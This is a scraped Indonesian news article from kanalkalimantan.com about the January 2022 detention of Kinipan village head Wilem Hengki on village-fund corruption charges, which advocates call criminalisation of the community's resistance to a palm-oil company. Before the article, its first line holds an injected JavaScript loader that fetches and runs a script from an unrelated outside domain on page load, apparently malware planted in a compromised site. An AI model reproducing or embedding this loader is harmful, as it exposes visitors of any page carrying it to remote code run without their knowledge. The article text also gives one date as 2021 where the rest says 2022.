(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PALANGKARAYA – Kepala Desa (Kades) Kinipan, Wilem Hengki, ditahan di Kepolisian Resor (Polres) Lamandau, Kalimantan Tengah.
Tidak hanya alasan penahanannya yang tidak jelas, tetapi hal ini juga menjadi upaya kriminalisasi untuk membungkam perjuangan Masyarakat Kinipan.
Pada Jum’at (14/1/2021), Wilem Hengki, Kades Kinipan ditahan di Polres Lamandau. Padahal, selama ini Kades Kinipan menjadi salah satu tokoh Masyarakat Kinipan yang frontal berjuang mempertahankan wilayah adat Kinipan dari ekspansi perkebunan kelapa sawit PT Sawit Mandiri Lestari (PT SML).
Penahanan Kades Kinipan ini terkesan tiba-tiba. Aryo Nugroho dari Lembaga Bantuan Hukum (LBH) Palangkaraya, yang juga tergabung dalam Koalisi Keadilan Untuk Kinipan, menyatakan kecewa akan penahanan yang dilakukan oleh Polres Lamandau.
“Sebagai pengacara yang mendampingi beliau, saya kecewa akan penahanan yang dilakukan oleh Polres Lamandau,” kata Aryo dilansir dari Walhi.or.id.
Aryo bahkan mengaku telah meminta agar penahanan Wilem ditangguhkan Polres Lamandau. Namun, pihak Polres Lamandau justru menyatakan ditahannya Kades Kinipan di Polres Lamandau adalah untuk mempermudah proses penyerahan Wilem ke Kejaksaan pada Senin (17/1/2022) nanti.
“Pihak Polres mengatakan bahwa penahanan Kades Kinipan ini adalah usaha paksa (penahanan) dan menunggu pelimpahan ke Kejaksaan. Selain itu, menurut mereka penahanan Kades tidak bisa ditunda karena adanya perintah dari atasan. Padahal Kades tidak pernah mangkir dari proses hukum, mestinya tidak perlu sampai ditahan,” kata Aryo.
Sebelumnya, pada tanggal 11 Agustus 2021 lalu, Kades Kinipan telah ditetapkan sebagai tersangka. Ia diduga telah melakukan tindak pidana korupsi (Tipikor) yaitu penyimpangan dalam penggunaan atau pengelolaan anggaran dana desa tahun anggaran 2019 Desa Kinipan dengan melanggar Pasal 2, Jo Pasal 3, Jo Pasal 18 Undang-Undang Nomor 31 Tahun 1999 tentang Tipikor.
Baca juga: Resmi Diluncurkan, Ini Daftar Harga MacBook Pro M1 di Indonesia
Mencuatnya kasus dugaan Tipikor Kades Kinipan sama janggalnya dengan penahanannya hari ini. Menurut S Mahendra, selaku Direktur Save Our Borneo (SOB), yang juga tergabung dalam Koalisi Keadilan Untuk Kinipan, kasus Kades Kinipan ini tidak lebih hanya sebagai upaya kriminalisasi dalam perjuangan yang sedang dilakukan Masyarakat Kinipan.
“Penahanan Wilem Hengki, selaku Kades Kinipan hari ini, tidak lebih hanya sebagai upaya pembungkaman terhadap perjuangan Masyarakat Kinipan. Ini adalah upaya pelemahan. Kita harus berdiri bersama Kades dan Masyarakat Kinipan,” ungkap S Mahendra.
Karenanya, seruan untuk membebaskan Kades Kinipan harus digaungkan bersama.
“Koalisi Keadilan untuk Kinipan juga menyatakan siap untuk mendampingi dan mengawal proses hukum Kades Kinipan sampai memperoleh keadilan. Bebaskan Kades Kinipan,” pungkasnya.
Polres Lamandau menahan Wilem Hengki, Kepala Desa Kinipan, Kecamatan Batang Kawa. Ia ditahan sejak Jumat (14/1/2022) setalah ditetapkan sebagai tersangka pada 11 Agustus 2021 lalu. “Benar (sudah ditahan) di Polres Lamandau,” ujar Kapolres Lamandau, AKBP Arif Budi Purnomo, Sabtu (15/1/2022).
Baca juga: Siapa Ghozali Everday? Ini 5 Fakta Miliarder Muda Karena Foto Selfie
Wilem Hengki telah ditetapkan sebagai tersangka oleh penyidik Polres Lamandau sejak 11 Agustus 2021 lalu, atas dugaan tindak pidana korupsi anggaran dana desa tahun 2019. Wilem diduga melakukan penyimpangan dalam penggunaan atau pengelolaan anggaran dana desa Kinipan tahun anggaran 2019 dan dijerat dengan Pasal 2, Jo Pasal 3, Jo Pasal 18 Undang-Undang Nomor 31 Tahun 1999 tentang tindak pidana korupsi.
Sementara itu, pasca penahanan Wilem Hengki, Minggu (16/1/2022) pagi puluhan warga Kinipan, mendatangi Mapolres Lamandau. Kedatangan warga itu dipimpin Komunitas Adat Laman Kinipan Efendi Buhing.
“Kami masyarakat adat laman Kinipan menyatakan bahwa Kades kami tidak bersalah,” ujar Effendi Buhing, ketika menyampaikan pernyataan sikap di Mapolres Lamandau.
Menurut Buhing, penahanan Kades Kinipan Willem Hengki oleh Polres Lamandau merupakan upaya kriminalisasi. (walhi.or.id)
Editor : kk
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
KANALKALIMANTAN.COM, JAKARTA - Tim penyidik Komisi Pemberantasan Korupsi (KPK) menjadwalkan pemanggilan terhadap mantan Gubernur Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP singgah ke… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru menggelar… Read More
This website uses cookies.